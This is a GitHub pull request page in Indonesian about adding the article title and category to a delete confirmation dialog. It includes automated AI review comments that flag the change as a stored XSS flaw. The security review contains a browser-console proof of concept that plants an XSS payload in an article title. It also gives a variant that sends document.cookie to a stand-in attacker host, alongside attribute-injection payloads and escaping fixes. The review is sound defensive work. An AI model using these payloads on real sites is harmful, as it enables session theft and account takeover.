fix: tambahkan judul dan kategori ketika hapus artikel#992
fix: tambahkan judul dan kategori ketika hapus artikel#992vickyrolanda merged 4 commits intorilis-devfrom
Conversation
|
🔄 AI PR Review sedang antri di server...
|
🔒 Security ReviewTotal Temuan: 1 isu (0 Critical, 1 High, 0 Medium)
|
| Swal.fire({ | ||
| title: 'Hapus', | ||
| text: "Apakah anda yakin menghapus artikel ini?", | ||
| html: titleDelete, |
There was a problem hiding this comment.
[HIGH] 🔒 Security: Stored XSS via SweetAlert2 HTML Rendering
Masalah:
Perubahan dari text ke html di SweetAlert2 memungkinkan rendering HTML tanpa sanitasi. Data row.attributes.judul dan row.attributes.kategori_nama yang berasal dari database ditampilkan langsung dalam template literal dan di-render sebagai HTML. Jika data ini mengandung script tag atau event handler HTML, akan ter-eksekusi di browser user.
Kode:
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`
// ...
html: titleDelete,Risiko:
- Attacker yang bisa membuat/edit artikel dengan judul berbahaya (misal:
<img src=x onerror=alert(document.cookie)>) dapat mengeksekusi JavaScript arbitrary saat admin/user lain mencoba menghapus artikel tersebut - Cookie session, CSRF token, dan data sensitif lain bisa dicuri
- Attacker bisa melakukan action atas nama user yang ter-XSS (privilege escalation)
- Dampak lebih besar jika yang ter-XSS adalah admin
PoC (Chrome Console):
// LANGKAH 1: Buat artikel dengan payload XSS (butuh akses create artikel)
// Jalankan di Chrome DevTools Console (F12 → Console)
// Pastikan sudah login sebagai user yang bisa create artikel
const xssPayload = '<img src=x onerror="alert(\'XSS: \'+document.cookie)">';
const createResp = await fetch('/master/artikel', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({
judul: xssPayload, // Payload XSS di judul
kategori_id: 1,
isi: 'Test content',
status: 1
})
});
console.log('Artikel dengan XSS payload dibuat:', await createResp.json());
// LANGKAH 2: Sekarang buka halaman /master/artikel
// Klik tombol hapus pada artikel yang baru dibuat
// SweetAlert akan muncul dan XSS akan ter-trigger
// Alert akan menampilkan cookie session
// ALTERNATIF: Payload lebih berbahaya untuk steal cookie
// Ganti xssPayload dengan:
// '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'Fix:
// Opsi 1: Gunakan text escaping manual
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${escapeHtml(row.attributes.judul)}</strong> kategori <strong>${escapeHtml(row.attributes.kategori_nama)}</strong> ?`;
// Tambahkan helper function di atas
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
Swal.fire({
title: 'Hapus Artikel',
html: titleDelete, // Sekarang aman karena sudah di-escape
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#d33',
cancelButtonColor: '#3085d6',
confirmButtonText: 'Ya, Hapus!',
cancelButtonText: 'Batal'
});
// Opsi 2 (LEBIH BAIK): Kembali gunakan text dan biarkan SweetAlert2 handle escaping
Swal.fire({
title: 'Hapus Artikel',
text: `Apakah anda yakin menghapus artikel dengan judul "${row.attributes.judul}" kategori "${row.attributes.kategori_nama}" ?`,
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#d33',
cancelButtonColor: '#3085d6',
confirmButtonText: 'Ya, Hapus!',
cancelButtonText: 'Batal'
});
// Opsi 3: Gunakan DOMPurify library untuk sanitasi HTML
// Tambahkan di layout: <script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.6/dist/purify.min.js"></script>
let titleDelete = DOMPurify.sanitize(`Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`);
Swal.fire({
title: 'Hapus Artikel',
html: titleDelete,
// ... rest of config
});
⚡ Performance ReviewTotal Temuan: 0 isu (0 Critical, 0 High) ✅ Tidak ada masalah performa HIGH atau CRITICAL yang terdeteksi pada kode baru. Analisis Baris yang Ditambah:
Kesimpulan: |
📝 Code Quality ReviewTotal Temuan: 1 isu (1 Critical)
|
| Swal.fire({ | ||
| title: 'Hapus', | ||
| text: "Apakah anda yakin menghapus artikel ini?", | ||
| html: titleDelete, |
There was a problem hiding this comment.
[CRITICAL] 🔴 Security: XSS Vulnerability pada SweetAlert HTML Rendering
Kategori: Frontend Security
Masalah:
Perubahan dari text ke html di SweetAlert2 memungkinkan rendering HTML dari data row.attributes.judul dan row.attributes.kategori_nama tanpa sanitasi di frontend. Jika backend tidak melakukan HTML escape dengan benar, ini membuka celah XSS attack. User dengan akses create/edit artikel bisa inject malicious script yang akan dieksekusi saat user lain mencoba menghapus artikel tersebut.
Kode:
html: titleDelete,Dengan titleDelete berisi:
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`Fix:
// Option 1: Sanitasi di frontend menggunakan DOMPurify (recommended)
let titleDelete = DOMPurify.sanitize(`Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`);
html: titleDelete,
// Option 2: Gunakan text dengan interpolasi (lebih aman, tanpa HTML)
text: `Apakah anda yakin menghapus artikel dengan judul "${row.attributes.judul}" kategori "${row.attributes.kategori_nama}" ?`,
// Option 3: Escape manual sebelum render
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${escapeHtml(row.attributes.judul)}</strong> kategori <strong>${escapeHtml(row.attributes.kategori_nama)}</strong> ?`;
html: titleDelete,Catatan Tambahan:
- Pastikan backend (Controller/DataTables) juga melakukan HTML escape pada field
juduldankategori_nama - Jika menggunakan Option 1, tambahkan DOMPurify library ke project
- Option 2 adalah yang paling aman tapi kehilangan formatting bold
🐛 Bug Detection ReviewTotal Temuan: 2 isu (0 Critical, 2 High)
|
| let canEdit = `{{ $canedit }}` | ||
| let canDelete = `{{ $candelete }}` | ||
| var id = row.id; | ||
| let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?` |
There was a problem hiding this comment.
[HIGH] 🐛 Bug: XSS Vulnerability - Unescaped User Input in HTML Context
Kode:
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.judul}</strong> kategori <strong>${row.kategori_nama}</strong> ?`;Skenario:
Jika admin jahat atau attacker berhasil membuat artikel dengan judul seperti <script>alert('XSS')</script> atau <img src=x onerror=alert('XSS')>, maka ketika admin lain klik tombol hapus, script tersebut akan dieksekusi di browser mereka. Data row.judul dan row.kategori_nama langsung diinterpolasi ke dalam HTML tanpa escaping.
Dampak:
- Session hijacking (steal admin cookies/tokens)
- Phishing attack (redirect ke fake login page)
- Malicious actions atas nama admin yang terinfeksi
- Data exfiltration dari admin panel
Fix:
// Opsi 1: Escape HTML entities sebelum insert
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${escapeHtml(row.judul)}</strong> kategori <strong>${escapeHtml(row.kategori_nama)}</strong> ?`;
// Opsi 2: Gunakan text-only di SweetAlert (lebih aman)
Swal.fire({
title: 'Konfirmasi Hapus',
text: `Apakah anda yakin menghapus artikel dengan judul "${row.judul}" kategori "${row.kategori_nama}" ?`,
icon: 'warning',
// ... rest of config
});
// Opsi 3: Pastikan backend sudah escape HTML sebelum return ke DataTables
// Di Controller: htmlspecialchars($artikel->judul, ENT_QUOTES, 'UTF-8')| <i class="fas fa-edit"></i> | ||
| </a>` : ``; | ||
| let buttonDelete = canDelete ? `<button type="button" class="btn btn-danger btn-sm hapus" data-id="${id}" title="Hapus"> | ||
| let buttonDelete = canDelete ? `<button type="button" class="btn btn-danger btn-sm hapus" data-id="${id}" data-title-delete="${titleDelete}" title="Hapus"> |
There was a problem hiding this comment.
[HIGH] 🐛 Bug: HTML Attribute Injection via Unescaped Data
Kode:
<button class="btn btn-sm btn-danger delete-btn" data-id="${row.id}" data-title-delete="${titleDelete}">Skenario:
Variable titleDelete sudah mengandung HTML tags (<strong>). Ketika dimasukkan ke dalam attribute data-title-delete, jika ada karakter quote (" atau ') di dalam row.judul atau row.kategori_nama, bisa break keluar dari attribute context. Contoh: judul artikel Test" onload="alert('XSS') akan menghasilkan:
data-title-delete="... judul <strong>Test" onload="alert('XSS')</strong> ..."Ini akan membuat attribute onload baru yang mengeksekusi JavaScript.
Dampak:
- XSS execution saat element di-render
- Attribute injection bisa menambahkan event handler berbahaya
- Bypass sanitization yang hanya fokus pada HTML content
Fix:
// Opsi 1: Jangan simpan HTML di data attribute, simpan data mentah saja
render: function(data, type, row) {
return `
<a href="/artikel/${row.id}/edit" class="btn btn-sm btn-warning">
<i class="fas fa-edit"></i>
</a>
<button class="btn btn-sm btn-danger delete-btn"
data-id="${row.id}"
data-judul="${escapeHtml(row.judul)}"
data-kategori="${escapeHtml(row.kategori_nama)}">
<i class="fas fa-trash"></i>
</button>
`;
}
// Lalu di event handler:
$('#artikel-table').on('click', '.delete-btn', function() {
var id = $(this).data('id');
var judul = $(this).data('judul');
var kategori = $(this).data('kategori');
Swal.fire({
title: 'Konfirmasi Hapus',
html: `Apakah anda yakin menghapus artikel dengan judul <strong>${judul}</strong> kategori <strong>${kategori}</strong> ?`,
// ... rest
});
});
// Opsi 2: Gunakan text-only tanpa HTML formatting
Swal.fire({
title: 'Konfirmasi Hapus',
text: `Apakah anda yakin menghapus artikel "${judul}" kategori "${kategori}" ?`,
icon: 'warning',
// ...
});
🤖 AI Code Review — Selesai📋 Ringkasan Semua Review
Total inline comments: 4 |
Summary
Perbaikan pada konfirmasi hapus artikel untuk menampilkan detail judul dan kategori artikel yang akan dihapus
Perubahan
File yang diubah:
resources/views/master/artikel/index.blade.phpMenambahkan variabel titleDelete (baris 98)
Menambahkan atribut data-title-delete (baris 102)
Memperbaiki event handler tombol hapus (baris 149, 153)
data-title-deletetextmenjadihtmlpada SweetAlert untuk render format teks dengan benarAlasan Perubahan
Sebelumnya konfirmasi hapus hanya menampilkan pesan umum "Apakah anda yakin menghapus artikel ini?" tanpa informasi artikel mana yang akan dihapus. Pengguna tidak dapat memverifikasi bahwa artikel yang benar terpilih sebelum melakukan aksi hapus.
Issue
https://github.com/OpenSID/API-Database-Gabungan/issues/372